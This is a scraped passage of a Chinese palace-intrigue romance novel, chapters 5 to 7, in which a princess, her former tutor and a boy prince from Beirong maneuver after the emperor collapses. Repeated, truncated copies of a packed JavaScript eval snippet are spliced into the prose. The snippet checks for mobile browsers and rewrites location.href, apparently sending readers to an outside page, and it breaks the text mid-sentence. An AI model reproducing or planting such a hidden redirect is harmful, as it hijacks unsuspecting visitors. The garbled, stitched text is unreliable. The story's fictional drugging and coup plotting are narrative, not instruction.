少年瑟瑟发抖,茫然地看着他,叽里咕噜地说了一串话。 “说的什么东西,听不懂。”陆俨亭面无表情。 两人大眼瞪小眼,都不知道对方在说什么。 少年张了张嘴,又想说什么,却意识到无法沟通,四下张望发觉再无他人,神色渐渐焦躁起来。 陆俨亭轻嗤了一声,却见骆淮这时缓步上前,用同样古怪的语调叽里咕噜地回了一句。 少年猛地抬头,眼中迸出惊喜的光,又急急说了一长串。 陆俨亭:“……” “他不会汉话。”骆淮扭过头,看他煞白的脸色突然觉得好笑,又好心安抚道,“方才我们说的那些,他应当半句都没听懂。” 陆俨亭疑虑地看着她。 “殿下如何会说北戎语?” “十五岁时在云浮寺小住时,寺里恰有位游方僧人精通北戎语,便跟着学了几日。” 骆淮一副“几日学会再正常不过”的神情,挑起一边眉毛,“昨日陆大人还觉得,长宁只是一时兴起的玩闹呢。” “……” * 长乐宫。 北戎少年坐在绣墩上,面前摆着一碟碟精致的点心,吃得眼睛发亮,腮帮子都鼓起来。 是中午小厨房做好剩下的,这孩子倒也不挑。 骆淮站在他身后打量着面前这一幕,心中了然。 果然,宴席上那些糕点,多半是进了这小孩的肚子。 方才一番交谈,她已弄清了来龙去脉。这位名唤乌勒的异族孩童,果然便是北戎的小世子。 他闷坏了,偷偷钻进使团车驾,使臣行至半路才发觉,只得硬着头皮,伪装成同行的家小将他带来中原。 结果一到京城,便被各式从未见过的甜食迷了眼。 今夜大宴把他带上了,这孩子却又趁着使臣不备在皇宫闲逛。被她一吓就慌不择路,竟跑到了长乐宫附近。 骆淮不太理解他的松弛感。 身后传来熟悉的脚步声。 陆俨亭立在她身后,看着她又伸手从碟中取了块乳饼递给那少年,淡淡道:“殿下倒是好心。” 骆淮道:“你也想吃?” 说着信手从盘中拈起一块,往身后一递。 他只能看见她的侧脸,唇角微微弯着,睫毛飞速眨动,看上去心情颇好。自小她便是这般,脸上笑得越明媚,便越有人要倒大霉。 他没去接那块点心,而是握住了她的手腕。 感觉到细腻肌肤相触,骆淮欲缩回,他却收拢五指,就着她的手,低头在乳饼上咬了一口。 “陆俨亭,”骆淮一顿,“你好大的胆子。” 竟敢让她亲手喂他。 “再胆大的事,臣又不是没做过。”陆俨亭低头,慢条斯理将那一口咽下。 他非但未松手,反而又就着她的手,将整块饼慢慢吃完,薄唇有意无意地擦过她的指尖。 “……” 陆俨亭卡在她即将发作的节点,游刃有余地将话头转向别处:“这孩子心性单纯,对人毫无戒心。” 成功将小公主的注意力转移,骆淮抬眸看向乌勒:“这个自然。” 换了她幼时,绝不会这般高高兴兴吃陌生人给的东西。 陆俨亭其实早从公文往来中觉察蹊跷,此刻便道:“鸿胪寺呈报的北戎使团名录,写的是‘随行护卫十二人,译官两人,文书三人’。但查看入城记录,车驾载重远超寻常使团。” 他本已派人暗中查探,却不想今夜正巧撞上。 两相印证,再加之其周身的华贵装束,这人便是北戎世子无疑。 “邸报提过,这位小世子为大君最宠爱的阏氏所生,年方九岁。” 他声音陡然压低几分,高深莫测,“他的父君年事已高,膝下子嗣止于此……大约,也生不出更小的孩子了。” “你在说什么啊?”骆淮听明白了,但故意夸张地喊,“陆俨亭你心思太深了!乌勒还是个孩子!” 陆俨亭迅速捂住她的嘴。 掌心覆上嘴唇时,两个人呼吸都一滞。骆淮猝不及防,下意识想后退,却被他另一条手臂从身后环住腰身,稳稳锢在身前。 她的背脊抵上他坚实的胸膛,隔着衣料,感受到青年早已熟悉的心跳。 他无比自然地拢着她,仿佛她本就该这般倚在他怀中。 “连名字都知道了?看来聊了很久。”他哑声在她耳边说。 但他听不懂。 陆俨亭敛了眸,用目光研磨她近在咫尺的脸。 灯火下能看到她侧脸有着细细的绒毛,宛如一只将熟未熟的水蜜桃。耳后有一颗鲜红的小痣,藏在乌发边缘,要离得非常近才堪堪窥见。 尽态极妍。 她虽已不让他唤她小字。 但或许全天下……只有他一人知晓这颗痣生在此处。 他喉头滚动了下,忽然低头,含住她的耳垂。 “唔——!” 骆淮浑身颤抖起来,眉头竖起,手肘狠狠向后撞去。 他没躲,生生受了这一下,纹丝未动,反而将她揽得更紧了些。 唇瓣在她耳边一触即分,声音低低的:“殿下抖什么?” “放开。”骆淮恢复了平静,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“殿下所求,确非易事,却也不是无人做到。”他看见骆淮真的托腮思考起来,微微笑了,又将史书典故信手拈来,“熙宁年间,您的姑祖母康懿长公主,便是以‘幼帝孱弱,不堪社稷’为由,废帝自立。” “不过,兄终妹及还是头一个。” “殿下随大儒学习两年,经史策论皆得赞誉。眼下陛下尚无子嗣,如若想让他一直无嗣,当从太医院、尚食局,乃至贴身侍奉的宫人处着手;若这法子不成,紫宸殿亲卫三百人,统领是宁远侯旧部,与我昔年有几分同窗之谊。玄武门、朱雀门钥匙分掌于内侍省与殿前司,需同时控制,方能内外隔绝。” 言语之间仿佛早就想好,甚至一一思考过可行性。 “至于让陛下主动禅位……”他认真地想了想,摇头,“比起前两个法子,难度恐更大。” 陆俨亭道:“心慈手软是大忌。” “建文帝当初若肯狠下心肠,收回那道不允许伤害叔父的命令,何至于落入那一步?殿下若顾念兄妹之情,想着陛下昔年的好,想着‘他毕竟是我哥哥’……” 他倏然住了嘴。 因为骆淮正倚在榻上,似笑非笑看着他。 “你想这么多干什么?那是我哥又不是你哥。” “……”陆俨亭凉凉说,“待箭在弦上不得不发之时,陛下若对您说几句软话,您便改了主意,届时你们兄妹和好如初,臣便是蛊惑您的乱臣贼子,死罪难逃。” 他语调里带着点自暴自弃,骆淮终于听出了什么。 “你在想这个?” 她哦了一声,尾音上扬。“原来如此。” 联想到他昨晚莫名其妙的反应和质问,她突然明白过来。 绕了这么大一圈,又是翻旧账又是说心慈手软。 难不成只是担心她心里……骆灵均比他重要? 她张口刚想说什么,却听外面传来宗姚急促的叩门声。 “殿下,属下有要事禀报。” “陛下在紫宸殿……吐血晕倒了。” 5. 修延 骆淮走出暖阁,乌勒世子已经吃完了最后一碟点心,正好奇地打量着殿内陈设。 见她出现,少年眼睛一亮,张嘴欲言。 骆淮先一步用北戎语缓声开了口: “陛下昏迷了。” 少年茫然抬头,嘴角还残留着糕点的碎屑。 “是在招待你们使团的宴席之后,突然昏厥的。”她俯身,笑吟吟的,“你知道这意味着什么吗?” “使臣尚未离京,大周天子便突发恶疾。两国邦交,最忌讳这等不明不白的变故。而你呢,乌勒——身为北戎世子,不在金帐内研习政务,不在大周宫宴现身,却偷偷跑到了大周长公主的宫中。” 少年脸色渐渐白了,眼里涌出泪花。 “你年纪尚小,或许不懂。” 骆淮直起身,语气恬淡温和,“你父君遣使来大周,本是为结秦晋之好。可若陛下真有万一……总得有人担起‘惊驾’‘谋害’的罪名。你觉得,谁最合适?” 她刻意停顿了很久:“——你。” 少年猛地一颤,从绣墩上站起身来。 “你是你父君最小的儿子,不是么?面对年富力强虎视眈眈的兄长,只有一个世子的名头可不够。” “你怎么知道,随行这些人里,都忠诚于你父君?我固然可以让人送你回驿馆,可说不准,你明日便被他们推出来,当作平息大周怒火的替罪羊。” “……不如留在我这里。” 说到这里,骆淮已经图穷匕见,“至少我能护你周全。” 少年嘴唇发抖,半晌,用北戎语磕磕绊绊地问:“……真的能护住我吗?” 骆淮唇角一弯。 她就知道,以她的口才,连陆俨亭都说不过她,吓唬一个十二岁的孩子还不是手到擒来? “不仅能护你,每日还有这样的点心。” 大周的公主身量高他不少,他头顶上方的声音低柔如同蛊惑,“云片糕、酥油鲍螺、玫瑰饼、豌豆黄……管够。” 乌勒犹豫片刻,终于还是用力点头。 “好啦,去洗把脸。小花猫似的。”骆淮温文一笑,唤来侍女把他带了下去。 身后的帘子有动静,陆俨亭上了前。 消息是宗姚刚刚匆忙递进来的。 皇帝大宴过后便觉不适,方才在容妃宫里忽而吐血,昏迷不醒。 骆淮毫无任何波澜地听完,连眼泪都没有流,沉着眉毛思虑了片刻,便起身掀帘而出。 然后便是他眼见的这一幕。 他不必听懂北戎语,只看她上扬的唇角和眼中狡黠的光,当然还有那小畜生从惊惶到犹豫再到点头的转变,便知道她在说什么。 威逼、利诱。 软硬兼施,手到擒来。 方才在内室,自己还劝她莫要心慈手软。 此刻想起她与少年相视一笑的表情,陆俨亭脊背莫名一凉。 罢了,她一直是这样的人。 骆淮听到动静,回身望来。 陆俨亭朝她躬身一礼。 “殿下,臣告退。今夜内阁值夜,只臣一人,眼下陛下昏迷,需即刻赶到。” 他走近她,伸手在她手里放了个什么东西。 感受到冰凉凉的触感,骆淮一顿。 陆俨亭淡淡说:“你可以不要我,我不能不管你。” 他转身离去,暖阁里静了下来。 骆淮走到炭盆旁伸出手,掌心安静地躺着一枚小印,正是她前不久掷入花丛的那一枚。 玉石做的印身已然被体温焐热,她摩挲着顶上卧兔的轮廓,眼帘低垂,嘴角却轻轻上扬。 就像那年她第一次收到它时一样。 …… “这枚印好不好?我刻了一个晚上。”少年人清朗的声音比人影先到,骆淮回过头。 陆俨亭穿着天青色的衣袍立在门前,颇为自得地朝她递来一枚小印。 “把它印在昨日的画上,便是‘枕流听松’,意境全出了。” 骆淮接过,印身是通透的青田玉,顶上雕了只憨态可掬的卧兔,印面刻着她的小字“枕流”。 她属兔,字则是她上月及笄,陆俨亭给她起的。 “谢谢。”她抚摸着印章光滑温润的棱角,露出一个笑。陆俨亭看她笑了,也弯起嘴唇。 便听到她说:“以后不要来找我了。” 陆俨亭笑意滞在嘴角,“……殿下?” “皇兄知道我们两个人在一起了。”她平静地说,“就在昨天午时,你教我画画的时候。” 陆俨亭一怔。“六皇子殿下瞧见了?” 他的眉头却舒展开来,像是松了一口气。 “那也好。你我之事,原本也不必瞒着六殿下。我思忖着,等过几日陛下心情好些了,便去求一道圣旨赐——” “你不必去了。”骆淮打断他,“我不会嫁你的。” 他看着她,眼底的笑意一点一点褪去。 “为什么?” “你现在是天子近臣,不能和皇嗣走太近。” “那又如何。”陆俨亭不以为意道,“朝野上下,谁不知道我曾做过六皇子殿下的伴读。何况我算什么近臣?不过一介翰林编修,为陛下草拟诏书、修撰史籍罢了。” 她道:“正因如此,我才不能误你前程。” 陆俨亭凉笑:“这又是从何说起?” “本朝驸马不能出仕,你若要尚公主,就得辞去官身,退出朝堂。” 陆俨亭却迅速道:“我求之不得,天不亮就要上朝,我每日都困得睁不开眼。” “……”骆淮静了片刻,“不可以。” 她把骆灵均那夜的话原封不动说了一遍。 陆俨亭听完,半晌没出声。 “那你的意思呢。”他慢慢说。 “我要你帮六哥。”骆淮散淡地说,“我要做长公主,我要让母妃追封皇后,我不想过吃苦的日子,不想再被内务府克扣份例,不想冬日连炭火都要省着用……我要留在紫禁城。” 他听了。 他从一介翰林一路擢升为侍讲学士、礼部侍郎,更是在护送新皇登基后,被晋为太子少傅。不过年逾弱冠的年纪,已是朝中最被倚重的肱骨之臣。 与此同时,是骆灵均为她相看的“青年才俊”接连出事。 骆灵均自觉毁了妹妹姻缘,愈发上心为她择婿。 最后那些人都没了下文。 晋阳侯府世子,在任上出了差池,被贬去了岭南,路上遇了叛军,生死不知。 庆国公府那位嫡次子,骑马时摔断了腿,落了残疾,自请退婚,之后悄无声息地没了。 还有一位姓林的年轻进士,据说得了急病,没熬过今年的冬。 是谁的手笔,骆淮心如明镜,心里甚至在窃喜。 那个表面清冷正派的陆俨亭,背地里不知使了多少手段,把那些可能靠近她的人一一清除。 可有时两人在宴会上偶遇,他又会可恶地故作关切问道:“听闻太子殿下又为殿下相看了某位公子?不知婚事可定了?” 骆淮镇定道:“快了。” 他听后没什么反应,只是淡淡哦了一声:“巧了,臣家中近日也在议亲。” 骆淮回宫后便气得砸了好几个琉璃盏。 砸完又沮丧地想,她又在气什么呢。 明明是她先背弃他的。他已经助皇兄登上太子之位了,仁至义尽。 她该放下,不要自己跟自己过不去。 但直到骆灵均真的登基,她便发现这是不可能的。 登基夜即是皇帝大婚夜,全京城张灯结彩,骆灵均携着新婚皇后接受百官朝拜,红绸从午门一直铺到太和殿。 骆淮坐在大宴上,看着满眼刺目的红,心头的火烧得呈燎原之势。 她想皇兄如愿把他心爱的女子娶作了皇后,他们并肩而立受到万民祝福,他日史书工笔两人的名字都要合在一处,她呢? 凭什么他的宏图大业就要牺牲她的爱情? 她八岁就认识陆俨亭了,她看着他从十几岁的纤细少年长成英俊挺拔渊停岳峙的男人,她从没有一刻觉得她和陆俨亭不会成婚。 她离席出去透气,心里的委屈无端漫上来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347565|199544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >好巧不巧,她靠在假山处,听到那头传来两个少女的窃窃私语: “……这酒是我花了好大力气找来的,就藏在袖子里。等宴席散了,我家的马车等在宫外,把人扶上去……成就好事,还怕他不认?” “表姐,你也太胆大了……” 骆淮正怒火中烧,当即走出假山:“你们在说什么?” 两个少女吓得魂飞魄散,慌忙跪地行礼。 看衣着,其中一个像是承恩侯府家的小女儿,是珍太嫔的娘家侄女,席间还来敬过酒。 “这种脏东西也敢带进宫里?”骆淮冰冷地说,“你们不怕掉脑袋吗?” 她声音不急不缓,但在面前两人听来不啻惊雷。 “公主开恩!公主开恩!”两人连连磕头。 骆淮夺过那壶酒,挥袖让她们滚了。 她拎着酒壶疾走,转过拐角,却迎面撞上一人。 陆俨亭穿着宽袍窄袖的锦袍,腰带束得很紧,衬得腰身盈盈一握。他应当喝了些酒,脸色却仍是冷白的,鼻梁高挺,嘴唇淡薄,他垂着眼,露出那种她最喜爱的冷静神情,问她: “殿下怎的一个人在此?” 他比她最后一次见他时消瘦了许多。 骆淮心里燎原的怒火突然烧成了另一种火,在心头又渐渐化为灰烬。 她仰起脸,笑靥如花,叫他: “修延。” 这是他的小字。 就像他在她及笄时为她起了字一样,她也早在他及冠那年,为他起了字。 陆俨亭怔愣半晌。 “今日皇兄登基暨大婚,陆大人劳苦功高,孤敬你一杯。” 她的声音压低,袅袅婷婷地向他奉上一杯酒。 “枕流祝修延……官运亨通,青史留名。” 她镇定自若地看他仰头饮尽,又镇定自若地扶着他,走向偏殿的厢房。 …… 忆及往事,骆淮微微一笑。 那夜之后陆俨亭醒来气得脸色发青,但事已至此,只好咬牙切齿地与她开始了这场不见天日的关系。 但作为他无声的反抗,他再也不与她用熟稔口吻说话,动不动便是“臣”如何、“殿下”如何。 仿佛这般就能划清界限呢。 骆淮却不以为意,反倒觉得他这般故作疏离的模样挺新鲜。 在得知陆家迟迟没有议亲消息传来后,她的心里更愉快了。 她又不是矫情的人,只要她要他做的他都做了,她得到好处就行。 她对这世道的认知,都是通过自己一点点观察实践得来的。 最初,母妃去世后,父皇毫无反应,也不给她指新的养母。她是被几个势利的教养嬷嬷带大的,理所当然吃了不少苦头。 那时她便发现,地位越高的妃子,膝下的儿女的日子就越好过。 于是她设计让自己被中宫皇后收养,又借皇后的力,成功将欺负过她的珍妃贬成珍太嫔。 后来,她又发现,无论是谁,终究都要仰仗帝王的生杀予夺。 于是她盼着同胞哥哥能当皇帝,在父皇面前说尽好话,希望能为哥哥尽自己的一分绵薄之力。 那时她以为,当上长公主便是人生巅峰。 可原来,长公主也会受人掣肘,还会被当做筹码送去和亲。 幼时没读过什么书,自然不知道这世上还有别的路可走。 直到陆俨亭将数不清的经史子集摊开在她面前,指着文章内容,声音清泠泠如玉石: “殿下看,今日我们学习……” 骆淮拨弄了下额发。 他临走时的话在她耳边回响。 “你可以不要我,我不能不管你。” 她心想:你最好真的不能。 他不让她嫁旁人。 所以,她也不会让他有别的选择。 无论是别的女子。 还是——别的主君。 窗外传来沉沉的更鼓声,骆淮收起小印,懒懒唤道: “雪芽,替我备辇。” 皇兄有疾,她这个做妹妹的,怎能不去。 6. 得寸进尺 紫宸殿外。 宫人们垂首立在廊下,大气都不敢喘一声。 陆俨亭踏进殿门的时候,听到的便是那道熟悉清越的声音,正有条不紊地吩咐着: “……膳食单子要一份份查,从昨日起,陛下入口的所有东西,都要经太医院验过。御膳房所有人暂时拘在值房,不许走动。不必用刑,但也不许他们互相说话,等太医署那边有结果了再说。” “皇嫂可下懿旨,六宫妃嫔各自回宫,无诏不得外出。去各宫传话的时候,就说陛下只是偶感不适,需要静养。各宫妃嫔不必来请安,也不必派人来探视。若有违者,按宫规处置。” “太医院轮值,每两个时辰报一次陛下的脉象。张院正,您是老臣,该知道轻重。” “禁军加强宫防,尤其是各宫门。还有……” 她一条一条地说着,缓了缓又道,“今日在容妃宫里伺候的人,也先看起来。不必关进暴室,找个偏殿安置,别让他们出去就是。” 陆俨亭立在殿前,透过门隙,看见一个时辰前还在他怀中轻颤的少女面容肃然,发髻被一支素雅的白玉簪松松挽起,下首的太医院院正、内务府总管、御前侍卫统领等人皆敛眸低头,恭谨称是。 她说话的间隙端起茶盏抿了一口,像想起了什么似的,抓着身侧脸色发白皇后的手摇了摇。 “……皇嫂,长宁这样安排可还妥当?” 才刚说完那些雷厉风行的指令,女声又软了下来,如平日里那样娇憨。 甚至还带了点哽咽:“我看话本子上就是这么做的,便照搬了。如此稳住局面,若皇兄这几日便能醒来,便不会……” “……本宫看已是十分周到了。”是皇后感慨的声音,“就按长宁你说的做吧。” 下首众人垂手肃立:“是!” 他们退出后,骆淮随手把茶盏放至一边,漫不经心道:“姓陆的怎么还没来?皇嫂戌时三刻就遣了人去内阁,现在,便是爬也该爬到了。” 话音刚落,殿门便被推开,有人走了进来。 …… 骆淮抬眸看陆俨亭,心想辇车的确是个好东西。 他前脚刚走,她后脚便乘辇出来,竟比他还快上许多到。 她从座椅上起身,信口道:“如今已是亥时二刻,少傅大人倒是不紧不慢。” 皇后瞪大眼睛,看向骆淮的目光里带上了震撼。 这位小姑子是皇帝的胞妹,皇帝向来对她宽和,一直留到现在都还没舍得她嫁出宫去。 但她素来温婉淡静,在皇帝面前更是娇软可人,却不知……她竟有这般不客气的一面。 况且对方是陆俨亭。 先帝晚年,被赐死和流放的臣工无数,他是少数活下来并被重用的人之一。便是现今的永初帝,也常对他以“俨亭”相称,礼遇有加。 莫非长宁是因陆少傅素来严苛的功课要求,对他生了怨念? 又或者……是见陛下突发急症,方寸大乱了。 皇后叹息了声,突又觉不对。 皇帝此刻还躺在容妃宫中,太医施针后才暂且缓过来。太后守了一会儿,因年事已高被劝回去歇息了,她又传懿旨唤内阁值夜之人来紫宸殿议事。 她记得,自己并未让人去过长乐宫。 长宁是如何突然赶来的?且一来便迅速进入议事状态,掌控局面,条理分明。 忆起她求见的理由,是“想同陛下商议要事”。 皇后蹙了眉,当时只觉她是因今日北戎提和亲,担心木已成舟,特来求陛下收回成命,于此顺理成章地得知了永初帝出事。 虽觉有些巧合……倒也合情合理? 陆俨亭听了骆淮一番无礼抢白后,面上却毫无波澜。 “是臣不好。”他缓步上前,行礼后直起身,“路上遇到只野猫,一直在臣脚边绕来绕去。臣一时心软,逗她玩了片刻,便误了时辰。” 骆淮看他说话时眉梢微扬,甚至还在皇后看不见的角度,朝她眨动了几番睫毛。 她眉心狠狠一跳,从他神态里竟然看出了几分嚣张。 很好,很有她当年调戏他时的风范。 可那时是什么光景,现在又是什么时候。陆俨亭好歹也该看看场合吧。 骆淮转头看皇后。 皇后并未看出这两人的眼神官司,见骆淮征询地望着她,定了定神将事情原委细细道来。 “……是容妃身边的宫女过来汇报的,说是陛下大宴过后去了容妃宫中,那时便觉胸闷气短,过了会忽而吐血昏迷。太医急召入宫,诊了一个多时辰。” 骆淮早已听过细节,这次是说给陆俨亭听的。 容妃是去年登基后第一次选秀进宫的,一入宫便极得皇帝喜爱,相较之下,大婚时便享椒房之宠的皇后都黯然失色。 她皇兄连大宴结束都不忘宿在容妃那。 “还有一事……”皇后犹豫片刻,还是下定决心低声道,“本宫听闻,北戎使臣离席时,最首的那两位面色似有不豫,走得颇急。” “陆大人,您说这……” 言下之意,莫非真是这些外族人下的手。 陆俨亭抬起头,同骆淮微妙地对视了一眼,未立刻答话。 他自然清楚他们为何焦急。 世子丢了,生死不知,偌大皇城,他们又不能留下来细细查探。至于永初帝的昏迷是否与他们有关,倒也可作一番文章。 但病因究竟如何,是下毒,还是仅仅因身体孱弱……倒是最次要的了。 骆淮恰在此刻道:“张院正说,陛下脉象浮滑紊乱,邪热攻心,何时能醒……尚难断言。” “是啊……”皇后脸上愁云密布。 明日的早朝自然是上不了了,眼下还需拟旨安抚朝臣,处理紧急文书。 好在…… 皇后看了眼面前的人。 青年垂眼避礼:“臣自会处置。” 空气一时安静下来。 “……皇嫂也累了一夜,不如先去歇息吧?”骆淮见皇后已打了几个哈欠,顺势轻柔劝道。 皇后犹豫片刻,还是站起身。 她走到骆淮身侧,压低声音:“长宁,陆大人毕竟是朝中重臣,你……说话客气些。” 骆淮微微一笑:“皇嫂说的是,方才是长宁冒失了。今后,我必然对陆大人以礼相待。” 皇后放下心来。 她款步走下玉阶,欲携骆淮一同回后宫,却见少女身形一动不动。 “长宁?”她疑惑地问。 “皇嫂,长宁原本就唤陆大人一声先生,今夜又政务繁多,长宁想从旁协助,也算尽学生之心,亦是报答皇兄的多年照拂。”骆淮语气坦然,“不如皇嫂先回吧。” 这话听起来滴水不漏,皇后颔首道了声辛苦,转身离去。 走出殿门时,她脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她方才煞有介事地篡改了张院正的话,抱的目的无非是若皇帝一直不醒,若她能妥善处置北戎之事,那么效仿前朝康懿长公主监国,也非不可能。 “臣忘了恭喜殿下。” 他的声音就在此时突然响起,倒是把她吓了一跳。 “陛下昏迷,朝局必然动荡,这是坏处。”他娓娓道来,“但好处是——殿下等的机会,来了。” 她扭头,他已写完了最后一份奏报,放下朱笔,从善如流开始讲起近期的要事。 “昨日朝会上,礼部尚书张永怀再次提请和亲之事,半数朝臣附议。兵部尚书刘焕主张增兵北境,户部尚书祝冠则以国库空虚为由反对。其余议题,如清丈田亩、重订赋税等事,因涉及世家利益,争议未决……” 他将朝中格局一一道来,“内阁五位,其中周延年是祝冠座师,但已七十有三,近来多病……” “等等。”骆淮出声打断,“我先记一下。” “……” 陆俨亭转过头,骆淮不知何时已铺开纸笔,正刷刷记着。笔画如飞,笔走龙蛇,正是他今日下午未见的恣意草书。 “周延年七十有三,是祝冠座师……”她边写边念,笔墨不停,“然后呢?” 陆俨亭嘴角轻轻一抽。 7. 香囊 深夜,陆府。 陆家自前朝起便是江南望族,迁至京城已逾百年。宅子是开国皇帝御赐的,庭院深深,古木参天,回廊的立柱上刻着历代家训,墨迹已有些斑驳。 陆俨亭踏进自己的院子后已是子夜。 今日的确耗神,他褪下官袍换了身常服,正欲沐浴歇下,却突然听见门外传来轻而急的脚步声。 陆俨亭眉心微蹙。 来的是祖父身边的老仆,躬着身子道:“老太爷请大公子过去一趟。” 陆俨亭面无表情地重新披上外衣。 今夜紫宸殿动静不小,看来祖父虽已致仕,耳目却未闭塞。 * 陆老太爷所住的松鹤堂内,灯光昏黄。 须发皆白的老人端坐在太师椅上,手里捻着一串佛珠。他面容清癯,一双眼睛透着历经三朝的锐利,开门见山问道: “这么晚回来,可是宫里出了事?” 陆俨亭立在堂下,毫无异色回道:“祖父这般时辰还未安寝,可是近日觉浅?” “……”这话成功噎到了陆老太爷。他看了看面前高挑颀长的长孙身影,感慨俨亭还是这般脾气,都这般大了,还是一被人吵醒就变得咄咄逼人。 罢了。他既守口如瓶,该是不能透露的要紧事。 静了片刻,老人又沉声道:“你既回京,有些话,祖父不得不提。” 他声音压低几分,带着告诫的意味:“陛下登基第一年,也是励精图治过的。只是先帝晚年压得太紧,如今骤然得了自在,难免有些放纵。你要仔细教导陛下,规劝他远离那些宵小之徒,重拾勤政爱民之心。” 陆俨亭恭敬垂首:“孙儿谨记。” 陆老太爷看他这副低眉顺目的样子就知道他在敷衍,叹了口气还是继续说下去。 他原也不想讲这么多。 这些年他早已颐养天年,朝中事也懒得再过问。只是这个孙儿眼看着权势威望都要盖过陆家先前几代人能达到的高度了,他思来想去,决定借着今夜这个机会,好好教诲他一番。 “我们陆家诗礼传家,门生故旧遍布朝野,外人看着是树大根深,底蕴深厚。” 他慢慢说着,话锋一转,“可俨亭,你需明白,这天下终究是陛下的天下。一个家族再煊赫,也不过是依附其上的藤蔓。” “你父亲当年便是最明白这一点。当年你考取功名初露头角,他便急流勇退,主动致仕归隐。” 陆俨亭这时抬起头: “不是先帝贬他去的琼州么?” “……”陆老太爷又沉默了片刻,“你父亲即使被贬,仍然积极整顿吏治,兴修水利,教化黎民。先帝驾崩当日,他于千里之外望京遥拜,哭得几乎晕厥。” “修延,为臣者,忠君爱国是本分。普天之下,莫非王土啊。” 陆俨亭听着这番话,眼前浮现的却是今日骆淮的脸。 她午后冷淡疏离的样子,她在紫宸殿发号施令的从容,和今夜她靠在他边上,伏案疾书时恬静的侧脸。 他嗯了一声。 “是。雷霆雨露,皆是君恩。” 陆老太爷听罢满意地点点头。 长孙是个有大主意的人,但终究明白大义。 很好。 “去吧。”陆老太爷挥挥手,看到他打了个哈欠,“你从南疆回来这几日,还未来得及见你祖母和母亲吧?明日记得去请安。” * 翌日,陆俨亭处理完公务下值。 因皇帝罢朝,内阁文书堆积如山,他忙至此时方得空闲。 青年走进内院,还未行礼,便听到里头柔和的声音:“回来了?” “是。” 陆老太太和陆夫人早已等候多时。 见他进来,老太太便拉着他的手上下打量:“瘦了,南疆那地方,到底辛苦……” “哎呀!”陆夫人皱着眉端详他的面颊,“修延,你这眼睛是怎么回事?” 白日午后光线下,能看到青年眼角有一小块疤痕,隐约显出淡白色的痕迹。 陆俨亭指尖一蜷。 回京这几日,很多人都问过他这道伤的事。 母亲、同僚、甚至宫里的内侍……几乎人人都注意到了。 偏有一个人,昨日与他见了四面,宫道上、漱玉斋、紫宸殿、乃至深夜共议——结果,一次都未发觉,也一次没问过。 也是。 长公主殿下心里装着那么多事,有皇兄的病情,有至高权位,有内阁公文,有北戎世子的甜点,还有太后皇后。 哪有闲心注意到他眼角的伤。 是啊,她是公主。 她为什么偏偏是公主呢? 他无声地扯了扯嘴角,觉得自己矫情至极,“无事。” 他笑道:“被南疆的流箭擦了一道,皮肉伤而已。” 他语气没什么大波澜,但堂内的人听着还是倒吸一口凉气,后怕不已。 陆夫人颤颤巍巍,“箭伤不长眼,这要是再偏一分,你可不就……” “这不是没准嘛。”陆俨亭游刃有余地挡过话头,转而听母亲说起他离京这三月家中琐事,间或在被问到婚事时,温和挡了回去。 陆老太太叹了口气,没再勉强。 左右,陆家现在也没人能做他的主了。 正说话间,外头管事来报: “公子,门房处有人……说是您的故交。” “……打扮得怪奇特的。” * 陆俨亭看着面前这个才及他腰际的异族少年,一时无言。 不知道他是如何混出宫禁,又如何摸到陆府的。 算了,不用想,与他那位殿下脱不了干系。 他依稀记得昨夜她提过,这北戎世子名叫乌勒。 乌勒大概不知,如今满京城有多少人在寻他。 今晨散出去的陛下偶感风寒的消息,朝野已隐隐觉得不对,自然而然想到的是陛下是在宴请北戎使臣后突发急症的。 北戎使团一时战战兢兢,偏生此刻又丢了世子,现在的境地大概只能用屋漏偏逢连夜雨来形容。 陆俨亭看了眼乌勒,忽地嗤笑,想张口说什么,又很快意识到语言不通。 “……” 两人大眼瞪小眼对视片刻,乌勒突然想起了什么,从怀中掏出一个绣着缠枝莲纹的锦缎香囊,上头用红绳系着张折好的字笺。 陆俨亭面色古怪地接过香囊,拆开。 字迹熟悉秀丽,是骆淮的亲笔。 “人已送到。宫禁森严,只得借采买杂役之便混出,烦陆大人暂照看一二。” 陆俨亭从喉咙里发出一声几不可闻的冷笑。 乌勒立刻回想起临行前骆淮的嘱咐。 “若他笑了……便把第二个给他。” 他于是又从袖中掏出第二个香囊急急递上,上面同样系着字笺。 陆俨亭沉默不语地接过,再次拆开。 “带他去西市和东市逛逛。点心、糖人、皮影戏,我应允过他的。一概记账,月底我结。” 陆俨亭极轻地啧了一声。 好麻烦。 乌勒眼睛一亮,对那位公主阿姐的料事如神佩服得五体投地,忙不迭掏出第三个香囊。 陆俨亭:“……” 这次字笺上只有寥寥几个字。 “修延,多谢。枕流。” 陆俨亭看着掌心的三个香囊。 针脚细密,绣工精巧,一看便是费了心思的,绝非临时赶制。 这些香囊,她是什么时候做的?是不是在他离京那三月里,她便已开始缝制了。 她原本就是想送给他的吧。 她现在在哪里呢?会不会,在兴致勃勃地猜想他会怎么反应? 心里有细小的波纹划过,他摩挲了那布料好一会儿,才仔细收进袖中,垂眸看向眼前的少年。 他淡淡道: “我会让人替你易容,换身衣裳。” 乌勒茫然看着他。 陆俨亭按了按眉心,决定将学习北戎语提上自己的日程规划。 * ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 